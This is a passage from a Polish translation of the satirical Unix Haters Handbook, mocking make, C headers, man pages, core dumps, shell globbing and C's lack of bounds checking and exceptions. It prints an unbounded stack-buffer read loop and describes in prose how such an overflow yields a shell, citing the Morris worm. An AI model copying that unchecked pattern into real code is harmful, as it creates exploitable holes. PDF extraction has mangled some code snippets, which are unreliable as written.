„No i co z tego?” zapytacie, „Co jest w tym złego?”

120

Page 121: Unix Haters Handbook

W zasadzie nie ma w tym nic złego. Po prostu kiedy zrozumiesz jak działają inne narzędzia programistyczne w Unixie, używanie tabulatorów jako części składni jest jak pułapki w The Green Berets: biedne dziecko z Kansas idzie naprzeciwko Johna Wayne’a i nie widzi przewodu. W końcu nie ma takich przewodów na które trzeba uważać na polu kukurydzy w Kansas. BUM!

Widzicie, znak tabulacji, razem ze znakiem spacji i nowej linii, są ogólnie znane jako znaki niedrukowalne. Niedrukowalne, czyli dla większości programów ignorowalne. Większość programów traktuje spacje i tabulatory w ten sam sposób. Poza make (cu i uucp i kilkoma innymi programami). Teraz już nie pozostaje nic do zrobienia z biednym dzieckiem z Kansas oprócz strzału w głowę aby zakończyć jego nędzny żywot.

Dennik nigdy nie znalazł problemu ze swoim Makefile. Teraz utknął w ślepym zaułku pracy w której musi nosić papierowy kapelusz i zajmuje się plikami konfiguracyjnymi sendmaila w dużym uniwersytecie stanowym na środkowym zachodzie. To cholerny wstyd.

Pliki nagłówkowe

C ma rzeczy nazywane plikami nagłówkowymi. Są to listy definicji które są włączone do plików źródłowych podczas kompilacji. Jak większość rzeczy w Unixie, działają rozsądnie kiedy jest jeden lub dwa, ale szybko stają się niewygodne jeśli próbujesz zrobić cokolwiek poważnego.

Zwykle trudno obliczyć, które pliki nagłówkowe włączyć do pliku źródłowego. Pliki nagłówkowe są włączane poprzez użycie dyrektywy preprocesora C #include. Ta dyrektywa ma dwie składnie:

#include <header1.h>

i:

#include "header2.h"

Różnica pomiędzy tymi dwoma składniami zależy od implementacji. To po prostu oznacza że implementacja może robić co do diabła chce.

Powiedzmy że Dennis ma kolegę nazywającego się Joey który też jest początkującym Unixowym programistą. Joey ma program w C nazwany foo.c który ma pewne definicje struktur danych w foo.h, który mieszka w tym samym katalogu. Teraz, prawdopodobnie wiesz że „foo” jest popularną nazwą wśród programistów komputerowych. Wygląda na to że programista systemu maszyny Joey’a też zrobił plik nazwany foo.h i umieścił go w standardowym katalogu, /usr/include.

Biedny Joey chce skompilować swój program foo.c i ma niespodziankę – widzi wiele błędów składni. Nie wie o co chodzi ponieważ kompilator generuje błąd składni za każdym razem kiedy wymienia którąś ze struktur danych zdefiniowanych w foo.h. Ale definicje w foo.h wyglądają dobrze.

Ty i ja prawdopodobnie wiemy, że Joey pewnie ma:

#include <foo.h>

w swoim pliku C zamiast:

#include "foo.h"

121

Page 122: Unix Haters Handbook

ale Joey tego nie wie. Albo może używa cudzysłowiów ale używa kompilatora z trochę innymi zasadami szukania plików nagłówkowych. Joey ma problem i to prawdopodobnie nie jego wina.

Posiadanie dużej liczby plików nagłówkowych jest dużym bólem. Niestety, taka sytuacja mam miejsce zawsze kiedy próbujesz napisać program w C który robi cokolwiek użytecznego. Pliki nagłówkowe typowo definiują struktury danych i wiele plików nagłówkowych zależy od struktur danych zdefiniowanych w innych plikach nagłówkowych. Ty, jako programista, masz cudowną robotę posortowania tych zależności i włączania plików nagłówkowych we właściwej kolejności.

Oczywiście, kompilator ci pomoże. Jeśli kolejność nie jest właściwa, kompilator poinformuje cię że masz błąd składni. Kompilator jest zajętym i ważnym programem i nie ma czasu na rozróżnianie pomiędzy brakującą strukturą danych a zwykłym źle wpisanym słowem. Faktycznie, jeśli zrobisz nawet małą pomyłkę, jak pojedyńczy średnik, kompilator C staje się tak zmieszany i wkurzony, że wybucha łzami i narzeka że nie może skompilować reszty pliku ponieważ jeden brakujący średnik tak mocno wyprowadził go z równowagi. Biedny kompilator nie może się skoncentrować na reszcie.

Wśród użytkowników kompilatorów ten fenomen jest znany jako „kaskadowe błędy”, co jest żargonem kompilatora dla „padłem i nie mogę się podnieść”. Brakujący średnik powoduje desynchronizację parsera kompilatora z tekstem programu. Kompiler prawdopodobnie ma duży problem z błędem składni ponieważ jest oparty na yacc, który jest świetnym narzędziem do produkowania parserów dla składniowo poprawnych programów (nieczęsty przypadek), ale jest strasznym narzędziem do produkowania dokładnych, znajdujących i poprawiających błędy parserów. Doświadczeni programiści C wiedzą, że trzeba ignorować wszystkie oprócz pierwszego błędu przetwarzania z kompilatora.

Programy użytkowe i manuale

Unixowe programy użytkowe są samodzielne; każdy ma wolność interpretacji argumentów swojej linii komend tak jak mu pasuje. Ta wolność jest denerwująca; zamiast być w stanie nauczyć się jednego zestawu konwencji dla argumentów linii komend, musisz przeczytać manual dla każdego programu żeby się zorientować jak go używać.

Dobrze że manuale są tak dobrze napisane.Weźmy następujący przykład. „STRESZCZENIE” ładnie wszystko sumuje, nie

uważasz?

LS(1) Unix Programmer's Manual LS(1)

NAZWA ls – wypisz zawartość katalogu

STRESZCZENIE ls [ -acdfgilqrstu1ACLFR ] nazwa ...

OPIS Dla każdego argumentu katalogowego, ls wypisuje zawartość katalogu; dla każdego argumentu plikowego, ls powtarza jego nazwę i każdą inną żądaną informację. Domyślnie, wyjście jest sortowane alfabetycznie. Jeżeli nie ma żadnego argumentu, wypisywana jest zawartość bieżącego katalogi. Jeżeli podano kilka argumentów, argumenty są najpierw odpowiednio sortowane, ale argumenty plikowe są przetwarzane przed katalogami i ich zawartością. Jest duża ilość opcji:

122

Page 123: Unix Haters Handbook

[...]

BŁĘDY Znak nowej linii i tabulator są traktowane w nazwach plików jako znaki drukowalne.

Urządzenie wyjściowe jest przyjmowane na 80 kolumn szerokości.

Ustawianie opcji bazujące na tym czy wyjście jest dalekopisem jest niepożądane jako że „ls –s” jest zupełnie różne od „ls –s | lpr”. Z drugiej strony nie zrobienie tego ustawienia spowoduje stare skrypty shellowe które używają ls prawie na pewno przegranymi.

Gra w jaką można grać czytając manuale to zaglądać do sekcji BŁĘDY i próbować sobie wyobrazić, skąd może pochodzić każdy błąd. Weźmy ten przykład z manuala shella:

SH(1) Unix Programmer's Manual SH(1)

NAZWA sh, for, case, if, while, :, ., break, continue, cd, eval, exec, exit, export, login, read, readonly, set, shift, times, trap, umask, wait – język komend

STRESZCZENIE sh [ -ceiknrstuvx ] [ arg ] ...

OPIS Sh jest językiem programowania komend który wykonuje komendy odczytane z terminalu lub pliku. Zobacz wywołanie dla zrozumienia znaczenia argumentów dla shella.

[...]

BŁĘDY Jeżeli << jest używane do stworzenia standardowego wejścia do asynchronicznego procesu wywołanego przez &, shell jest zmieszany co do nazwy dokumentu wejściowego. Plik śmieci /tmp/sh* jest tworzony i shell narzeka że nie może znaleźć pliku o innej nazwie.

Spędziliśmy kilkanaście minut próbując zrozumieć tą sekcję BŁĘDY, ale nie mogliśmy się nawet zorientować o czym do diabła oni mówią. Jeden Unixowy ekspert któremu to pokazaliśmy stwierdził: „Kiedy gapiłem się na to i drapałem po głowie, przyszło mi do głowy że w czasie który musiało zająć znalezienie tego błędu i napisanie sekcji BŁĘDY programista mógł naprawić ten cholerny błąd”.

Niestety, naprawianie błędów nie wystarcza ponieważ powracają one z każdą nową wersją systemu. We wczesnych latach 80., zanim każdy błąd w Unixie miał swój kult, programista z BBN naprawił błąd w make z Berkeley który wymaga zaczynania linii zasad od tabulatora zamiast od każdego znaku niedrukowalnego. To nie było trudne – tylko kilka linii kodu.

Jak każda grupa odpowiedzialnych obywateli, hackerzy z BBN wysłali poprawkę do Berkeley tak że mogła ona być włączona do głównych źródeł Unixa. Rok później Berkeley wypuściło nową wersję Unixa z tym samym błędem w make. Hackerzy z BBN poprawili ten błąd po raz drugi i znów wysłali poprawkę do Berkeley.

...Za trzecim razem kiedy Berkeley wypuścił wersję make z tym samym błędem, hackerzy w BBN poddali się. Zamiast naprawiać błąd w make, wzięli wszystkie swoje Makefiles, znaleźli linie zaczynające się od spacji i pozamieniali je na tabulatory. W końcu

123

Page 124: Unix Haters Handbook

BBN płaciło im za pisanie nowych programów, nie za poprawianie w kółko tych samych błędów.

(Według legendy, Stu Feldman nie poprawił składni make kiedy się zorientował że jest zepsuta, ponieważ już miał 10 użytkowników.)

Źródło jest dokumentacją. O, świetnie!

Jeśli było trudne do napisania, powinno być trudne do zrozumienia.

- programista Unixowy

Wcześniej w rozdziale o dokumentacji powiedzieliśmy że programiści Unixowi wierzą że kod źródłowy systemu operacyjnego jest ostateczną dokumentacją. „W końcu”, powiedział jeden znany historyk Unixa, „źródło jest dokumentacją z której korzysta system operacyjny kiedy próbuje zdecydować co ma robić dalej”.

Ale próba zrozumienia Unixa przez czytanie jego kodu źródłowego to jak próba jeżdżenia przysłowiowym samochodem Unixowym Kena Thompsona (tym z pojedyńczym „?” na desce rozdzielczej) po całym kraju.

Źródła kernela Unixa (zwłaszcza źródła z Berkeley Network Tape 2 dostępne na ftp.uu.net) są w większości bez komentarzy, nie oddzielają wcale „paragrafów” kodu, używają wielu goto i ogólnie starają się bardzo być nieprzyjazne dla ludzi próbujących je zrozumieć. Jak stwierdził pewien hacker, „Czytanie źródeł kernela Unixa jest jak chodzenie po ciemnej ulicy. Nagle się zatrzymałem i pomyślałem ‘O nie, chcą mnie napaść’.”

Oczywiście, źródła kernela mają własną wersję ostrzegawczego światła. Wszędzie umieszczone są małe komentarze wyglądające jak ten:

/* XXX */

Oznaczają one że coś jest nie w porządku. Powinieneś być w stanie zorientować, co jest nie w porządku w każdym przypadku.

“To nie może być błąd, mój Makefile od tego zależy!”

Programiści w BBN byli ogólnie wyjątkami. Większość programistów Unixowych nie naprawia błędów: większość nie ma kodów źródłowych. Ci którzy mają wiedzą że naprawienie błędów nie pomoże. Dlatego większość programistów Unixowych kiedy napotka błąd, po prostu omija go po swojemu.

To smutny stan rzeczy: jeśli jeden próbuje rozwiązać problem, dlaczego nie rozwiązać go raz na zawsze zamiast tylko w jednym przypadku, który będzie musiał być powtarzany dla każdego nowego programu w nieskończoność? Być może wcześni programiści Unixa byli metafizykami którzy wierzyli w doktrynę Nietzschego Wiecznej Rekurencji.

Są dwie szkoły debuggowania. Jedna to „debugger jako lekarz”, która została spopularyzowana we wczesnym ITS i systemach Lisp. W tych środowiskach debugger jest zawsze obecny w działającym programie i kiedy program wywala się, debugger/lekarz może zdiagnozować problem i przywrócić program do działania.

Unix postępuje według starszego modelu „debuggowania jako sekcji zwłok”. W Unixie zepsuty program umiera pozostawiając plik core, który nie tylko pod tym względem przypomina zwłoki. Unixowy debugger wtedy przybywa i określa przyczynę śmierci. Co ciekawe, programy Unixowe mają skłonności do umierania na uleczalne choroby, w wyniku wypadków i zaniedbań, zupełnie jak ludzie.

124

Page 125: Unix Haters Handbook

Radzenie sobie z core

Po tym jak twój program zapisał plik core, twoim pierwszym zadaniem jest go znaleźć. Nie powinno to być trudne, ponieważ plik core jest całkiem duży – 4,8, a nawet 12 megabajtów nie jest niczym niezwykłym.

Pliki core są duże ponieważ zawierają prawie wszystko czego potrzeba do zdebuggowania programu w momencie jego śmierci: stos, dane, wskaźniki do kodu... wszystko oprócz dynamicznego stanu programu. Jeżeli debuggujesz program sieciowy, w czasie tworzenia pliku core jest za późno; połączenia sieciowe programu są stracone. Jako dodatkowy klaps każdy plik jaki mógł być otwarty jest już zamknięty.

Niestety, pod Unixem tak musi być.Na przykład, nie można uruchomić debuggera jako interpretera komend czy

przenieść kontroli do debuggera kiedy system operacyjny generuje wyjątek. Jedyny sposób żeby debugger przejął twój program kiedy się wywali to uruchamiać każdy program ze swojego debuggera. Jeśli chcesz debuggować przerwania, twój debugger musi przejąć każde przerwanie i przesłać właściwe do twojego programu. Czy możesz sobie wyobrazić działanie emacsa z trzema przełączeniami kontekstu dla każdego wciśnięcia klawisza? Oczywiście pomysł debuggowania podprogramu jest obcy filozofii Unixa.

Date: Wed, 2 Jan 91 07:42:04 PSTFrom: Michael Tiemann <[email protected]>To: UNIX-HATERSSubject: Debuggers

Zastanawialiście się kiedyś dlaczego Unixowe debuggery są takie lamerskie? Tak jest ponieważ nawet jeśli mają jakąś funkcjonalność w ogóle mogą mieć błędy, a jeśli mają błędy, mogą zrzucić core, a jeśli zrzucą core, plask, i nie ma pliku core z aplikacji którą chcesz zdebuggować. Na pewno byłoby miło gdyby był jakiś sposób na danie aplikacjom kontroli jak, gdzie i kiedy mają zrzucać core.

Relikwiarz błędów

W przeciwieństwie do innych systemów operacyjnych, Unix chroni swoje błędy jako standardowe procedury operacyjne. Najczęściej przywoływanym powodem nie naprawiania błędów Unixa jest taki, że poprawki spowodowałyby popsucie istniejących programów. To jest szczególnie ironiczne, zwłaszcza że programiści Unixowi prawie nigdy nie zastanawiają się nad kompatybilnością w górę kiedy implementują nowe funkcje.

Myśląc o tych problemach, Michael Tiemann podał 10 przyczyn dlaczego debuggery Unixowe nadpisują istniejący plik „core” kiedy same zrzucają core:

Date: Thu, 17 Jan 91 10:28:11 PSTFrom: Michael Tiemann <[email protected]>To: UNIX-HATERSSubject: Unix debuggers

Najlepsze 10 odpowiedzi świrów wg. Davida Lettermana:

10. To zepsułoby istniejący kod.9. To wymagałoby zmiany dokumentacji.

125

Page 126: Unix Haters Handbook

8. To jest za trudne do implementacji.7. Dlaczego debugger ma to robić? Czemu zamiast tego nie napisać jakiegoś „narzędzia”?6. Jeśli debugger zrzuca core, powinieneś zapomnieć o debuggowaniu twojej aplikacji i zdebuggować debugger.5. To jest za trudne do zrozumienia.4. Gdzie są Twinkies?3. Dlaczego teraz naprawiać rzeczy?2. Unix robi wszystko dobrze.1. Gdzie jest problem?

Stwierdzenie „naprawianie błędów popsuje istniejący kod” jest potężną wymówką dla programistów Unixowych którzy nie chcą naprawiać błędów. Ale równie dobrze może tu być ukryty plan. Bardziej niż psucie istniejącego kodu, naprawianie błędów wymagałoby zmiany interfejsu Unixa uważanego przez fanatyków za prosty i łatwy do zrozumienia. To że ten interfejs nie działa jest nieważne. Ale zamiast dać sobie z nim spokój i zrobić coś lepszego albo po prostu naprawić istniejące błędy, programiści Unixowi w kółko powtarzają że interfejs Unixa jest Prosty i Piękny. Prosty i Piękny. Prosty i Piękny!

Niestety, programowanie omijające błędy jest szczególnie okropne ponieważ powoduje, że błędne zachowanie staje się częścią specyfikacji systemu operacyjnego. Im dłużej czekasz z naprawieniem błędu, tym gorszy się on staje, ponieważ niezliczone programy które mają obejście błędu teraz zależą od tego błędnego zachowania i przestaną działać jeśli błąd się naprawi. W efekcie zmiana interfejsu systemu operacyjnego byłaby jeszcze bardziej kosztowna ponieważ nieznana liczba programów musiałaby być zmodyfikowana aby obsłużyć nowe, chociaż poprawne, zachowanie interfejsu. (To częściowo wyjaśnia dlaczego programy typu ls mają tak wiele różnych opcji do wykonywania mniej więcej tych samych działań z małymi wariantami).

Jeśli wrzucisz żabę do wrzącej wody natychmiast z niej wyskoczy. Wrząca woda jest gorąca. Ale jeśli włożysz żabę do zimnej wody i będziesz powoli podgrzewał do wrzenia, żaba się nie zorientuje i ugotuje się.

Interfejs Unixa gotuje się. Kompletny interfejs programistyczny dla wejścia/wyjścia składał się z open, close, read i write. Dodatek sieci był jak paliwo dla ognia. Teraz jest co najmniej pięć sposobów na wysłanie danych do deskryptora pliku: write, writev, send, sendto i sendmsg. Każdy ma oddzielny kod w kernelu, co oznacza że jest pięć możliwości popełnienia błędu i pięć różnych zestawów charakterystyk wydajności do zapamiętania. To samo odnosi się do odczytywania danych z deskryptora pliku (read, recv, recvfrom i recvmsg). Zdechła żaba.

Rozwijanie nazw plików

Jest jeden wyjątek od zasady samodzielności programów: rozwijanie nazw plików. Bardzo często ktoś chce żeby program Unixowy działał na jednym lub kilku plikach. Shell Unixa przewiduje skróty dla nazywania grup plików które są potem rozwijane przez shell, dając listę plików która jest przesyłana do danego programu.

Na przykład powiedzmy że katalog zawiera pliki A, B i C. Aby usunąć wszystkie te pliki można napisać rm *. Shell rozwinie „*” do „A B C” i wyśle te argumenty do rm. Jest wiele problemów z takim podejściem, co dyskutowaliśmy już wcześniej. Powinieneś jednak wiedzieć, że używanie shella do rozwijania nazw plików nie jest historycznym przypadkiem: to była starannie uzasadniona decyzja projektowa. W “The Unix Programming Environment” autorstwa Kernighana i Masheya (IEEE Computer, kwiecień 1981), autorzy twierdzą że

126

Page 127: Unix Haters Handbook

„Włączenie tego mechanizmu do shella jest bardziej efektywne niż powtarzanie go wszędzie i upewnianie się że jest dostępny dla programów w jednakowy sposób”.

Przepraszam? Standardowa biblioteka I/O (stdio w Unixo-mowie) jest „dostępna dla programów w jednakowy sposób”. Co byłoby złego w posiadaniu funkcji bibliotecznych do rozwijania nazw plików? Czy ci faceci nie słyszeli o dołączalnych bibliotekach kodu? Co więcej, stwierdzenie o efektywności jest całkowicie puste ponieważ nie prezentują żadnych porównań liczbowych żeby to uzasadnić. Nie wyjaśniają nawet co według nich znaczy „efektywny”. Czy rozwijanie nazw plików przez shell powoduje że system jest najbardziej efektywny dla programistów piszących małe programy czy też po prostu daje najbardziej efektywną możliwość skasowania swoich plików przez nieprzeszkolonych nowicjuszy?

Przez większość czasu rozwijanie nazw plików przez shell nie ma znaczenia ponieważ efekt końcowy jest taki sam jak w przypadku używania programu użytkowego do tego celu. Ale jak większość rzeczy w Unixie, czasami gryzie. Mocno.

Powiedzmy że jesteś nowym użytkownikiem i masz dwa pliki w katalogu: A.m i B.m. Używałeś MS-DOSa i chcesz przemianować te pliki na A.c i B.c. Hmm. Nie ma polecenia rename, ale jest mv które wygląda na coś podobnego. Więc piszesz mv *.m *.c. Shell rozwija to do mv A.m B.m i mv nadpisuje B.m przez A.m. Trochę szkoda, zwłaszcza jeżeli pracowałeś nad B.m przez ostatnie kilka godzin i to była twoja jedyna kopia.

Poświęć kilka chwil myśleniu o tym problemie i dojdziesz do wniosku że jest teoretycznie niemożliwe zmodyfikowanie komendy Unixa mv tak żeby miała funkcjonalność komendy „rename” MS-DOSa.

Odporność na błędy, albo „Wszystkie linie są krótsze niż 80 znaków”

Jest zabawny artykuł w numerze Communications of the ACM z grudnia 1990 zatytułowany „Empiryczne badania niezawodności programów Unixowych” napisany przez Millera, Fredriksena i innych. Nakarmili losowymi danymi wejściowymi pewną ilość Unixowych programów użytkowych i stwierdzili że mogą spowodować wywalenie się albo zawieszenie 24 – 33% programów (zależnie od tego jaki Unix był testowany). Czasami cały system panikował.

Cały artykuł zaczął się jako żart. Jeden z autorów próbował pracować poprzez zaszumioną linię i szum linii powodował ciągłe wywalanie się różnych programów użytkowych. Zdecydował się na bardziej systematyczne śledztwo w sprawie tego fenomenu.

Większość błędów powstała z powodu dobrze znanych idiomów języka C. W praktyce, większość odziedziczonych uszkodzeń mózgu w Unixie może być przypisana językowi C. Kernel Unixa i wszystkie programy użytkowe są napisane w C. Znany teoretyk lingwista Benjamin Whorf powiedział że nasz język determinuje jakie koncepcje możemy wymyśleć. C ma taki wpływ na Unixa, że zapobiega pisaniu przez programistów odpornych na błędy programów, ponieważ w C jest to nie do pomyślenia.

Język C jest minimalny. Był zaprojektowany aby się efektywnie kompilował na szerokiej gamie sprzętu i w efekcie ma konstrukcje językowe które łatwo dopasowują się do sprzętu.

W czasie kiedy tworzono Unixa, napisanie kernela systemu operacyjnego w języku wysokiego poziomu było rewolucyjnym pomysłem. Czas nadszedł aby napisać go w języku który ma jakąś formę sprawdzania błędów.

C jest językiem najmniejszego wspólnego mianownika, zbudowanym w czasach kiedy najmniejszy wspólny mianownik był naprawdę mały. Jeśli PDP-11 czegoś nie miało, C też tego nie ma. Kilka ostatnich dekad badań nad językami programowania pokazało że dodanie wsparcia w języku dla rzeczy typu obsługa błędów, automatyczne zarządzanie pamięcią, abstrakcyjne typy danych powoduje dramatycznie łatwiejsze pisanie odpornych na błędy,

127

Page 128: Unix Haters Handbook

niezawodnych programów. C nie wspiera żadnego z tych wynalazków. Z powodu popularności C jest mała motywacja do dodawania funkcji takich jak znaczniki danych albo sprzętowe wsparcie dla garbage collectora w ostatnich, bieżących i przyszłych generacjach mikroprocesorów: te funkcje będą niczym więcej oprócz zmarnowanego krzemu jako że większość programów napisanych w C nie użyje ich.

Zwróć uwagę że C nie ma sposobu na obsługę przepełnienia liczb całkowitych. Rozwiązaniem jest po prostu użyć liczb całkowitych które są większe niż problem z którym masz sobie poradzić i mieć nadzieję, że problem nie powiększy się w trakcie życia twojego programu.

C tak naprawdę nie ma tablic. Ma coś co wygląda jak tablica, ale tak naprawdę jest wskaźnikiem do miejsca w pamięci. Jest wyrażenie indeksujące tablicę, tablica[index], co jest skrótem do (*(tablica + index)). Tak więc jest tak samo właściwe napisać index[tablica], co też jest skrótem do (*(tablica + index)). Sprytne, co? Ten dualizm może być często zaobserwowany w sposobie w jaki programy C obsługują tablice znakowe. Zmienne tablicowe są używane wymiennie jako wskaźniki i jako tablice.

Aby skrytykować istotę sprawy, jeśli masz:

char *str = "bugy”;

…to następujące odpowiedniki też są prawdziwe:

0[str] == 'b'*(str+1) == 'u'*(2+str) == 'g'str[3] == 'y'

Czy C nie jest wielki?Problem z takim podejściem jest taki, że C nie sprawdza automatycznie powiązań

między odwołaniami do tablicy. Dlaczego powinno to robić? Tablice są tak naprawdę wskaźnikami, i możesz mieć wskaźniki do każdego miejsca w pamięci, prawda? Cóż, możesz chcieć się upewnić że kawałek kodu nie zamaże jakiegoś fragmentu pamięci, zwłaszcza jeśli ten fragment pamięci jest ważny, jak na przykład stos programu.

W ten sposób dochodzimy do pierwszego źródła błędów wymienionych w dokumencie Millera. Wiele programów które się wywaliły zrobiły to podczas czytania bufora znaków który został zaalokowany na stosie. Wiele programów C tak robi; następująca funkcja C czyta wejście do zaalokowanej na stosie tablicy a następnie wywołuje do_it na linii wejściowej:

a_function(){

char c,buff[80];int i = 0;

while ((c = getchar()) != '\n')buff[i++] = c;

buff[i] = '\000';do_it(buff);

}

Kod taki jak ten śmieci w Unixie. Zauważ że bufor na stosie ma 80 znaków długości – ponieważ większość plików Unixa ma linie długości 80 znaków. Zauważ też że nie ma sprawdzania powiązań zanim nowy znak zostanie umieszczony w tablicy znaków i nie ma testu dla przypadku końca pliku. Nie ma sprawdzania powiązań prawdopodobnie dlatego, że programista lubi sposób jaki instrukcja przypisania (c=getchar()) jest wbudowana w

128

Page 129: Unix Haters Handbook

warunkową pętlę instrukcji while. Nie ma miejsca na sprawdzanie końca pliku, ponieważ linia kodu sprawdza czy nastąpił koniec linii. Wierzcie albo nie, niektórzy ludzie uwielbiają C za taki rodzaj zwięzłości – zrozumiałość i łatwość utrzymania niech będą przeklęte! W końcu wywoływane jest do_it i tablica znaków nagle staje się wskaźnikiem przekazywanym jako pierwszy argument funkcji.

Ćwiczenie dla czytelnika: Co się stanie jeśli koniec pliku nastąpi w środku linii wejściowej?

Kiedy użytkownicy Unixa odkrywają takie wbudowane ograniczenia, nie myślą raczej o nich jako o błędach które powinny być naprawione. Zamiast tego użytkownicy opracowują metody radzenia sobie z sytuacją. Na przykład tar, Unixowy „tape archiver”, nie daje sobie rady z nazwami dłuższymi niż 100 znaków (razem z katalogami). Rozwiązanie: nie używaj tara do archiwizowania katalogów na taśmie; użyj dumpa. Lepsze rozwiązanie: Nie używaj głębokich podkatalogów, tak że absolutna ścieżka nazwy pliku nie jest dłuższa niż 100 znaków. Ostateczny przykład beztroskiego programowania w Unixie prawdopodobnie nastąpi 18 stycznia 2038 o godzinie 22:14:07, kiedy przepełni się w Unixie 32-bitowe pole timeval...

Wracając do naszego przykładu, wyobraźmy sobie że nasza funkcja jest wywołana do odczytania linii o długości 85 znaków. Funkcja odczyta 85 znaków bez problemu ale co się stanie z tymi końcowymi 5 znakami? Odpowiedź jest taka, że znaki te nadpiszą cokolwiek innego co było w 5 bajtach zaraz za tablicą znaków. Co tam było wcześniej? Dwie zmienne, c i i, mogły być zaalokowane zaraz za tablicą znaków i tym samym zostać uszkodzone przez 85-znakową linię wejściową. Co jeśli mamy 850-znakową linię wejściową? Najprawdopodobniej nadpisze ważne informacje jakie C przechowuje na stosie, jak adresy powrotów z podprogramów. W najlepszym wypadku uszkodzenie tych informacji może spowodować wywalenie się programu.

Piszemy „może” ponieważ można zmienić zawartość stosu aby osiągnąć efekty nigdy nie zamierzone przez oryginalnego programistę. Wyobraźmy sobie że nasza funkcja została wywołana do odczytania naprawdę długiej linii, ponad 2000 znaków, i że ta linia została przygotowana aby nadpisać informacje na stosie tak, że kiedy funkcja C powróci z podprogramu, wywoła kawałek kodu który został wbudowany w tą 2000-znakową linię. Taki wbudowany kawałek kodu może robić coś naprawdę użytecznego, jak wywołać shell który może wykonywać komendy na maszynie.

Unix Worm Roberta T. Morrisa wykorzystywał dokładnie ten mechanizm (między innymi) aby uzyskać dostęp do komputerów Unixowych. Dlaczego ktoś chciałby to zrobić pozostaje tajemnicą.

Date: Thu, 2 May 91 18:16:44 PDTFrom: Jim McDonald <jlm%[email protected]>To: UNIX-HATERSSubject: how many fingers on your hands?

Smutno powiedzieć, oto część dzisiejszej wiadomości do mojego kierownika:Błąd polegał na tym, że program używany do aktualizacji Makefile miał

wskaźnik który przechodził za tablicę którą miał indeksować i nadpisywał pewne struktury danych używane do przeliczania list zależności które automagicznie wpisywał do Makefile. Efektem ubocznym było to że później uszkodzony Makefile nie kompilował wszystkiego co powinien, więc potrzebne pliki .o nie były zapisywane, więc kompilacja przerywała się. Cały dzień stracony ponieważ jakiś idiota myślał że 10 #includes to największa ilość jakiej ktokolwiek kiedykolwiek użyje i dlatego niebezpiecznie zoptymalizował kod który wykonywał się w mniej niż milisekundę w procesie tworzenia X Makefiles!

129

Page 130: Unix Haters Handbook

Wadą pracy przez sieć jest to, że nie można po prostu wejść do czyjegoś biura i wyrwać mu serca.

Wyjątkowe przypadki

Głównym wyzwaniem w pisaniu odpornych na błędy programów jest bezbolesna obsługa błędów i innych wyjątków. Niestety, C prawie nie zapewnia wsparcia dla obsługiwania wyjątkowych przypadków. W efekcie niewielu ludzi uczących się programować w dzisiejszych szkołach i uniwersytetach wie czym są wyjątki.

Wyjątki są przypadkami mogącymi powstać kiedy funkcja nie zachowuje się w sposób przewidziany. Wyjątki często powstają podczas żądań usług systemowych takich jak alokacja pamięci czy otwieranie plików. Ponieważ C nie zapewnia obsługi wyjątków, każdy programista musi dodać kilka linii kodu obsługujących wyjątki dla każdego żądania usługi.

Na przykład to jest sposób w jaki podręczniki C opisują używanie funkcji alokacji pamięci malloc():

struct bpt *inna_funkcja(){

struct bpt *result;

result = malloc(sizeof(struct bpt));if (result == 0) {

fprintf(stderr, “error: malloc: ???\n”);

/* wyjdź bezboleśnie z błędu */[...]return 0;

}/* Rób coś interesującego */[...]return result;

}

Funkcja inna_funkcja alokuje strukturę typu bpt i zwraca wskaźnik do nowej struktury. Pokazany fragment alokuje pamięć dla nowej struktury. Ponieważ C nie daje wyraźnego wsparcia dla obsługi wyjątków, programista w C jest zmuszony do napisania własnych procedur obsługi wyjątków dla każdego żądania usługi systemowych (to jest ten pogrubiony fragment).

Albo nie. Wielu programistów C nie zawraca sobie głowy takimi trywialnościami i po prostu omija kod obsługujący wyjątki. Taki program wygląda jak ten:

struct bpt *inna_funkcja(){

struct bpt *result=malloc(sizeof(struct bpt));

/* Rób coś interesującego */return result;

}

Jest prościej, czyściej, a przez większość czasu żądania usług systemowych nie zwracają błędów, prawda? Takie programy wyglądają na wolne od błędów dopóki nie zostaną uruchomione w niezwykłych okolicznościach, w których tajemniczo zawiodą.

130

Page 131: Unix Haters Handbook

Implementacje w Lisp-ie zwykle miały prawdziwe systemy obsługi wyjątków. Wyjątkowe przypadki miały nazwy typu OUT-OF-MEMORY i programista mógł ustanowić obsługę wyjątków dla specyficznego typu przypadków. Te programy obsługi były wywoływane automatycznie kiedy powstawał wyjątek – żadne interwencje ani specjalne testy nie były potrzebne ze strony programisty. Użyte poprawnie, prowadziły do bardziej odpornych na błędy programów.

Język programowania CLU ma także obsługę wyjątków wbudowaną w język. Każda definicja funkcji ma także listę wyjątkowych przypadków które powinny być sygnalizowane przez funkcję. Wyraźne wsparcie dla wyjątków pozwala kompilatorowi narzekać kiedy wyjątki nie są obsługiwane. Programy w CLU są całkiem odporne na błędy ponieważ programiści spędzają czas myśląc o obsłudze wyjątków żeby kompilator się zamknął. Programy C, z drugiej strony...

Date: 16 Dec 88 16:12:13 GMTSubject: Re: GNU EmacsFrom: [email protected]

In article <[email protected]> [email protected] (Lars Pensj) writes:… Jest żywotną koniecznością żeby programy sprawdzały we własnym zakresie wyniki wywołań systemowych (jak write)...

Zgadzam się, ale niestety bardzo niewiele programów robi to dla read i write. Bardzo powszechne w programach Unixowych jest sprawdzanie wyniku otwartego wywołania systemowego i przypuszczenie, że zapis albo zamknięcie pliku poszło dobrze.

Powody są oczywiste: programiści są leniwi, a programy są mniejsze i szybsze jeśli nie sprawdzasz. (Więc nie sprawdzanie powoduje także że twój system lepiej wygląda w testach używających standardowych programów użytkowych...)

Autor stwierdza, że ponieważ większość programów Unixowych nie sprawdza kodów zwracanych przez wywołanie systemowe write(), jest żywotną koniecznością dla administratora upewnienie się że zawsze jest wolne miejsce na wszystkich systemach plików. I to prawda: większość programów Unixowych przypuszcza że jeśli mogą otworzyć plik do zapisu, mogą zapisać tyle bajtów ile im potrzeba.

Rzeczy takie jak te powinny wywołać „hmmm.” Naprawdę przerażającą rzeczą o artykule Millera i innych jest to, że bezpośrednio poprzedza go artykuł mówiący o tym jak Kontrola Misji w Johnson Space Center w Houston przechodzi na systemy Unixowe do zbierania danych w czasie rzeczywistym.

Łapanie błędów jest społecznie nieakceptowalne

Nie sprawdzanie i nie raportowanie błędów powoduje że maszyna danego producenta wygląda na bardziej odporną na błędy i potężną niż jest w rzeczywistości. Co więcej, gdyby maszyny Unixowe raportowały każdy błąd i uszkodzenie, nikt by ich nie kupił! To prawdziwy fenomen.

Date: Thu, 11 Jan 90 09:07:05 PSTFrom: Daniel Weise <[email protected]>To: UNIX-HATERSSubject: Now, isn’t that clear?

131

Page 132: Unix Haters Handbook

